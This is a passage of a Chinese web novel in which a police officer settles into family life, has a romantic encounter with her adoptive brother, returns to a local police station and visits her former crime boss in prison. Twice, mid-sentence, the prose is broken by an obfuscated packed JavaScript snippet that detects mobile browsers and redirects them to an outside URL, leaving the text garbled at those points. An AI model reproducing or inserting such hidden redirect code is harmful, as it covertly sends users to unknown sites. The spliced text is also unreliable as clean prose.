“只是申请退休,但上头批不批还是另一回事。”他说。 淼淼的嘴又撅了起来。 日子不紧不慢地往前走,家里的日常也变得井然有序起来。 淼淼忙着准备开学的事情,偶尔窝在房间里画分镜,画累了就跑去缠着阮云琛讲案子。她说自己不是真的对那些惊险刺激的案件有兴趣,只是想看看能不能从姐姐身上找到点“人物灵感”。 阮云琛嘴上说她胡闹,却总是耐心地陪着她,把那些早已经尘埃落定的案件用最平淡的语气讲出来。 阮秋这段时间明显比以往更加安静。 尽管他表面看起来还是一如既往的散漫,动作懒洋洋的,可阮云琛总觉得,他的目光总是在她没注意的时候停留得久了一点。 偶尔两人单独待在屋里,空气里总会弥漫着某种说不清的暧昧感,像是一根绷得太紧的弦,稍微碰一下就能听到清脆的声响。 胖子网吧的装修进行得如火如荼,每次来家里都要念叨一遍新店的进展,还总要拉着淼淼出谋划策。 淼淼一边吐槽他说的“高端电竞体验区”听起来像是骗子的广告,一边乖乖在笔记本上帮他画效果图。 一切都在变得安稳,甚至连窗外的风都显得格外柔和。这样的日子对阮云琛来说是陌生的,却又带着一种让人忍不住想要沉溺其中的温暖。 夜晚的房间里安静得只能听见彼此的呼吸声。窗外的风吹过树叶,影子在天花板上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284070|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻摇晃。 阮云琛闭着眼,手枕在脑后,听见旁边淼淼的被子里传来细微的动静。她习惯了淼淼晚上不老实,翻来翻去像个没长大的孩子,便也没睁眼,只是懒懒地“嗯”了一声,示意对方安分点。 过了一会儿,淼淼终于安静下来。黑暗里,她的声音轻轻传过来,带着一点没来由的认真:“姐,我希望你能找到一个可以依靠的人,能托付的人……就像秋哥那样的。” 阮云琛愣了愣,睁开了眼。 她的目光落在天花板的阴影上,心里那根弦微微一颤,却什么也没说。旁边的淼淼已经裹紧了被子,像是刚才那句话只是随口一提,根本没有等待回应的意思。 房间里重新归于平静,只有窗外风声细碎。 阮云琛时常想起那些过去的日子,想起淼淼病倒时她四处奔波的模样,想起阮秋第一次替她挨打时倔强的眼神,想起廖致远那句“别怕,有我在”的承诺。 那些曾经的伤疤和遗憾,像是深埋在土地里的种子,最终开出了现在这样一片宁静的花田。 不过还好。 还好生活终于回到了正轨。 淼淼在家里又赖了一个多月,直到部队上来政审的人打了电话,她才不情不愿地收拾行李,准备离开这间旧公寓。 临走时,她站在门口,行李箱停在脚边,依依不舍地回头看了一眼屋里。阮秋从厨房探出头来,随意地挥了挥手:“一路顺风,注意安全。” 淼淼没有理他,只是忽然抬起手,指了指自己的眼睛,又迅速地指向阮秋,表情一本正经,目光犀利,像是在发出无声的警告:我盯着你呢。 阮秋挑了挑眉,没接话,目送着她拖着行李箱大步流星地走下楼去。等到门“砰”地一声关上,公寓里终于安静下来。 阮云琛靠在沙发上,刚抬手拿起茶几上的杯子,就觉得腰间一紧。她回过头,发现阮秋不知什么时候已经走过来,顺势从背后抱住了她。 “终于走了。”他的声音低低的,带着一点藏不住的笑意。 阮云琛愣了一下,感觉到腰间的力量稍稍收紧。 她的脑子里警铃大作,立刻意识到可能会发生什么,猛地回过头去,想要开口说点什么,话还没出口,阮秋已经低下头,直接吻了上来。 这个吻带着一股不容拒绝的气势,将她所有的反应都堵在了喉咙里。阮云琛下意识地伸手去推他,却被他轻轻抓住了手腕。指尖的触感微凉,但掌心却像是炽热的火焰,将她整个人都锁在了这个瞬间里。 “你——”阮云琛的声音断断续续,混着呼吸,最终化成了无声的抗议。 阮秋没有给她任何退路。他的吻越来越深,带着一种隐忍了许久终于决堤的情绪。他的手从她的腰间滑到背后,隔着薄薄的布料,轻轻地抚过她的脊椎。 那种触感让她浑身一颤,所有的理智都像是被抽空了一样。 “姐。”阮秋的声音低哑,呼吸落在她的耳侧,像一片灼人的火焰。他凑得更近,鼻尖轻轻蹭过她的颈窝,带着点故意的挑逗,“只剩下我们俩了。” 阮云琛彻底红了脸。她用力转过头,不敢看他,却被他轻轻地扣住下巴,迫使她直视他的眼睛。 阮秋的目光深得像一片无底的海,带着浓得化不开的情绪。他低下头,唇再一次覆了上来,动作却比之前温柔了许多,像是在无声地安抚,又像是在宣示某种不容置疑的占有。 他的手紧了紧,把她轻轻往自己怀里带了一下,低头靠近,鼻尖擦过她的耳侧,嗓音低得像叹息:“这一个多月,等得我心里好难受。” 他的呼吸落在她的颈侧,带着一点灼热,惹得阮云琛的身体僵了一下。 她想推开他,可他却像是没感受到似的,手绕到她的腰上,轻轻揉了一下。那力道不重,却带着某种让人退无可退的缠绵。 “姐都不能跟我多讲讲话。”他低声说,声音里夹杂着一点哑意,像是不小心泄露出的压抑情绪。 阮云琛狠狠皱了皱眉,却发现自己连开口都不知该说些什么。 他突然低下头,鼻尖轻轻碰了一下她的脖颈,像是在确认什么。下一刻,他的声音更低了:“你每天都和淼淼一起,我却只有一个人......” 她下意识地吸了口气,耳根瞬间热得发烫:“你……淼淼是妹妹,我当然和她一起睡。” 阮秋没回答,只是忽然抬起头,目光缓缓落在她脸上,像是在看一件他珍藏许久,却不敢碰的东西。 他的手顺着她的腰慢慢往上,停在她的肩膀上,顿了一秒,又缓缓地,将她整个人抱得更紧。 他的额头轻轻抵着她的额头,眼神带着某种无法隐藏的执拗:“我知道,可我也想跟你一起睡。” 阮云琛还没反应过来,他的手已经探进她的衣摆,触感炙热而细腻。她猛地睁大眼睛,却被他一个动作逼得所有话都噎在了喉咙里。 他的手停在了她的后腰,指尖轻轻擦过她的肌肤,声音低得像是从胸腔里滚出来:“姐。” 他在她耳边低声呢喃,唇角带着一抹坏笑,“你现在是在警告我,还是在邀请我?” 阮云琛彻底语塞,抬手用力推了他一下,却被他抓着手腕,顺势按在沙发上。 “别动。”他的动作突然柔和了许多,像是在安抚,又像是在蓄势待发,“让我也抱抱你——这可是我憋了一个多月的心愿。” 阮秋的怀抱温暖而有力,却又带着一点小心翼翼的试探。阮云琛的心跳渐渐乱了节奏,脑子也像是被烧得一片空白。 116. 句号 阮云琛的休假到期后,回刑警支队报到。因为协助侦破了重大案件,她的名字几乎成了支队内部的“传奇”。 上头传来话,有意提拔,但阮云琛在犹豫片刻后,选择了婉拒。 刑警大队长陈淑第一次在办公室见到她时,刚端着杯凉茶,脸上还挂着点因为夏天烦闷而生的疲惫。 听到阮云琛的选择时,茶杯在桌面上停顿了一下。她抬头看她,眼神里透着些不解:“你为什么想回派出所?你明明有更大的舞台可以发挥。” 阮云琛站得笔直,眼神却微微往下垂了一点,像是沉思,又像是在压抑某种情绪。她没有直接回答,而是缓缓开口,声音不大,却沉得让人难以忽视:“我想做一些能真正帮助人的事。” 陈淑皱眉看她,仿佛在等她继续。 “刑警队的确能打击犯罪,但有些人,在成为案件前,甚至连报警的勇气都没有。”阮云琛的声音平静,像在陈述某种不容争辩的事实,“我想回到基层,去面对那些还没被发现的困境。那些被忽视的小人物,他们比所有的案件都更需要人看到。” 陈淑沉默了几秒,叹了口气:“你真是……” 她话没说完,隔了会儿,才摆了摆手:“好吧。如果有一天你想回来,我们随时欢迎。” 阮云琛站直身子,敬了一个标准的礼,声音不高,却足够坚定:“谢谢您。” 她刚出办公室时,便看见一个熟悉的身影从另一端走来。 ——是程一冉。 程一冉穿着警服,步伐稳健,一如既往的利落。她的目光不偏不倚地落在阮云琛身上,两人视线相撞的瞬间,空气像是突然凝滞了。 那是一种没有言语的交流。 程一冉的目光依旧带着锋利,像是随时能剖开一切的刀刃,却多了一层沉静的信任。 她站在原地没动,微微抬了抬下巴,眼神里没有半点多余的情绪,却比任何语言都要笃定——这是同伴,是战友,是在生死之间并肩走过的人。 阮云琛也停住脚步,微微偏了偏头,目光淡淡地扫过程一冉的脸。她的表情没有任何起伏,嘴角甚至带着一丝若有若无的笑意,但那笑意里却藏着太多不易察觉的重量。 两人谁也没有开口。 时间仿佛被拉长,她们只是静静地对视着,一个站在光里,一个立在影中,像是久别重逢的故人,又像是两条平行线短暂交汇的瞬间。 程一冉没有多看一眼,迈开步子,从阮云琛身侧走过。肩膀擦肩而过的那一刻,她的动作轻得像是一阵风,却又像是一记无声的承诺—— 你选择了你的路,而我认同。 阮云琛站在原地,目送她走进办公室。 门再次被推开的一瞬间,程一冉侧了侧头,视线从肩膀上掠过,眼神里像是透着几分意味深长的东西。 那是只有经历过同样战斗的人才会明白的情感——宿命,信任,还有无可取代的默契。 办公室的门合上,阮云琛收回视线,抬手将帽檐压了压,转身朝走廊尽头的光亮走去。 阮秋这段时间一直忙着复习。 以往那个吊儿郎当的样子不见了,他每天守在书桌前,看文件、背材料,严肃得像个真正的警校生。外聘技术人才的身份对他来说,只是一段过渡。 阮云琛曾问他:“你的目标是哪儿?” 他抬头看她,眼神带着点淡淡的笑意:“刑警支队吧。总得有人管点真正该管的事。” 他说得轻描淡写,语气平和,却让人听出里面的认真。 胖子的新分店开得不错,改建拳馆后,专门划出了一个所谓的“职业训练区”。 队员们窝在里头通宵达旦地打游戏,说是准备代表淮龙参加省级比赛。淼淼时常调侃:“你这是网吧还是什么青训基地?” 胖子理直气壮:“怎么,不能两手抓?” 没过几周,就到了开学的日子。 淼淼走得有些匆忙。 准确地说,她因为一直在监视阮秋和阮云琛,所以导致她完全忘记了需要收拾行李这件事情。 临行前,她把自己所有的行李塞进了两个大箱子,试图把整间房间都搬空。 胖子那天正好要带着电竞战队去省城比赛,顺路送她去车站。他一手拎着她的行李,一手举着小旗子,还不忘拍着胸口对阮云琛保证:“哥亲自送上车,绝对安全到站!” 那天淼淼拖着行李箱走进车站,胖子带着一群队员站在后头,一副送“家属”的架势,还用小旗子举了个“平安大吉”的标语。 淼淼哭笑不得地摆了摆手,阮云琛站在不远处,看着这一幕,只是轻轻笑了一下,没说什么。 回到北户派出所的前一天,阮云琛去探望了那个人。 探监室的灯光昏黄而冷淡,玻璃隔断将空间分成两个世界。阮云琛穿过长廊,脚步缓慢却坚定,厚重的铁门在身后“哐”地一声关上,将她和外界隔绝开。 对面的人靠在椅背上,整个人隐在阴影里。宋祈的手指轻敲着桌面,节奏像一首缓慢而诡谲的乐章。 他的短发显得突兀,囚服干净却显得单薄,眉眼间依旧带着熟悉的锋利,就像一把锈迹斑斑的刀,即使藏在废铁堆里,也掩不住曾经的锋芒。 阮云琛轻轻呼了一口气,视线落在桌上。 光线从窗上的铁栏中穿透进来,切割出一块块方正的光影,像是无声的锁链,捆住了她的思绪。 她本以为自己早就把那些记忆甩在身后了。 她想起那些沉重的岁月,想起被雨水冲刷得冰冷彻骨的夜晚,想起手中那把匕首的重量,锋利的刀刃贴着掌心,逼得她连呼吸都小心翼翼。 阮云琛想起眼前这个男人曾经在牌桌上笑得漫不经心,他的眼神像冷漠的猎豹,带着一种让人生畏的压迫感。而她站在他的面前,却像一根破碎的灯芯,唯有硬生生撑着,才能维持一点微弱的光亮。 宋祈的影子贯穿了她成长的每一段。无论是最初的威胁,还是后来若即若离的控制,那人就像一张拉满的网,将她牢牢困在里面。 他让她去记账,去谈条件,去一趟又一趟地站在别人的屋门前,拿着那些威胁的纸条,一遍又一遍地说:“不好意思,这笔钱该还了。” 阮云琛以为自己讨厌他,甚至恨他,但又不得不承认,是他教会了她如何生存,如何用冰冷的理性去替代不必要的恐惧。 她很早就明白,这世上没人会无缘无故地给你活下去的机会,而宋祈愿意用她当做一颗棋子,已经是莫大的恩赐。 可现在,这颗棋子终于走出了他的棋盘。 阮云琛闭了闭眼,掌心压在桌面上。 这一切都结束了,她一次次在心里对自己说。 “我还以为,”宋祈的声音一如既往的低沉,带着些许嘶哑,却依旧带着那种不紧不慢的节奏,“你再也不想见我了。” 阮云琛在椅子上坐下,抬眼看他,神色平静,语气淡然:“我只是来看看你。” 宋祈嗤笑了一声,手指停下了敲击,目光慢条斯理地扫过她的脸,像是在审视,又像是在回味什么。隔着玻璃,阮云琛的身影显得修长笔直,警服的线条将她勾勒得严肃而锋利。 “看看我?”他的声音拖得很长,带着点讥讽的意味,“看看我现在这个样子,开心了?” 阮云琛没有接话,只是沉默地看着他。她的眼神没有锋芒,也没有怜悯,像是一面无波无澜的湖水。 “摆脱我了,这样是不是很开心?”宋祈的话更尖锐了一些,像是用舌尖沾了毒的刀子。 她轻轻垂下眼帘,目光落在桌面上,语气依旧平静:“摆脱你?也许吧。但更多的,是看清了你。” 短短一句话,却像一记重拳,宋祈的眉头微不可察地皱了一下。他缓缓靠回椅背,嘴角勾起一个意味深长的笑容:“看清我什么?看清我救了你?看清我帮你撑下来的?” 他的声音越来越冷,语气像裹着冰碴:“要不是我,你和那两个拖油瓶早就死在街头了。” 空气中像是有一瞬的凝滞。 阮云琛没有反驳,甚至没有表现出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284071|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何情绪波动。她只是抬眼看他,眼神依旧平静,却带着一种说不清的力量:“你确实救了我们,但你也毁了很多人。” 宋祈的笑容渐渐淡了下去,目光变得锋利:“这个世界本来就是弱肉强食。没有我,还有别人。你以为你一个人能改变什么?” 阮云琛的手指轻轻扣着桌沿,像是在压住某种情绪。她的声音很低,却带着一种近乎固执的坚定:“也许我什么都改变不了,但我至少想试试。” 这句话像是一把钉子,钉在了他们之间的空气里。 宋祈盯着她,眼神像是在看一件熟悉却陌生的东西。他沉默了很久,忽然轻声笑了出来,声音低低的,像是带着某种说不清的嘲讽和无奈:“你现在这样,像极了一个警察。” 阮云琛笑了。 这是她第一次在宋祈面前笑,也是她第一次这样笑着。 不带防备,也没有试探,甚至没有过去那些压抑着情绪的小心翼翼。 这是一种了然于心的平静,像是一场漫长的风暴终于平息后,她站在破碎的云层下,第一次感受到了阳光的温度。 宋祈微微眯起眼睛,似乎在细细打量她,眼底的情绪复杂得难以捉摸——是审视,是嘲讽,还是某种带着自嘲的欣慰?谁也无法分辨清楚。 阮云琛长长地舒了口气,声音冷静却不失温度:“我是警察。” 她转身离开,背影笔直而干净。 厚重的铁门再次“哐”地一声关上,将她隔绝在了外面。 监室的光影变得更加暗淡,宋祈靠在椅背上,盯着那扇铁门许久,嘴角的笑意一点点消散。他闭上眼睛,像是在想什么,又像是在掩饰什么。 这场探监没有任何结局,却像是一场迟到的告别。 从此,过去的一切都被留在了厚重的铁门后面。 阮云琛站在走廊里,耳边回荡着脚步声,像是一种节奏缓慢的告别曲。 她曾无数次问过自己,自己到底走的是什么样的路——是一条不归路吗?是一条在过去与现在之间来回拉扯的泥泞小径吗? 她没有答案。 但她知道的是,这条路她一点都不后悔。 她从深渊中走出来,带着伤痕,也带着顽强的意志。她用尽一切力量为自己开辟了一条向上的道路,即便它布满荆棘,却也有阳光洒下的时刻。 她活了下来,这已经是最珍贵的事情了。她活了下来,保护了阮淼淼,也找到了阮秋。她活了下来,成为了警察,成为了她小时候最渴望的那个能伸出手拉她一把的人。 现在,她终于可以回答那个困扰她多年的问题了。 她的路,从来不是别人的路,也从来不是命运安排的路。这条路,是她自己一步一步趟出来的,血肉筑成的,充满了对这个世界的理解和坚持。 她将过去的一切留在了铁门后面,那些疼痛和绝望,以及那一丝曾经的眷恋。 监狱门外,停着一辆黑车。 车身的漆面在阳光下映出幽暗的光泽,像是一片静默的影子横在路边。窗户缓缓降下,露出驾驶座上的人——阮秋。 他单手搭在方向盘上,侧过头看向她,嘴角扬起一个轻松的弧度:“回家?” 阮云琛站在台阶上,没有急着回答。风拂过她的侧脸,带起几缕被阳光照得微微发亮的发丝。她的目光落在车上,却没有任何波动,像是在看一个早已熟悉到刻进骨子里的存在。 “嗯,”她轻声道,迈步下了台阶,拉开车门,“回家。” 车子平稳地启动,轮胎碾过路面的细碎声响渐渐与阳光中的风声融为一体。车内没有开音乐,只有前挡风玻璃上投射下来的阳光,温暖而明亮。 阮云琛靠在椅背上,目光微垂,似乎在思考着什么。过了一会儿,她忽然开口:“得想想怎么跟淼淼和廖叔交代。” 阮秋偏头看了她一眼,眸色里带着淡淡的笑意。他没有说话,只是嘴角扬得更高了一些。 车子渐渐驶向远方,像是一条缓缓展开的路,无边无际。 天气正好。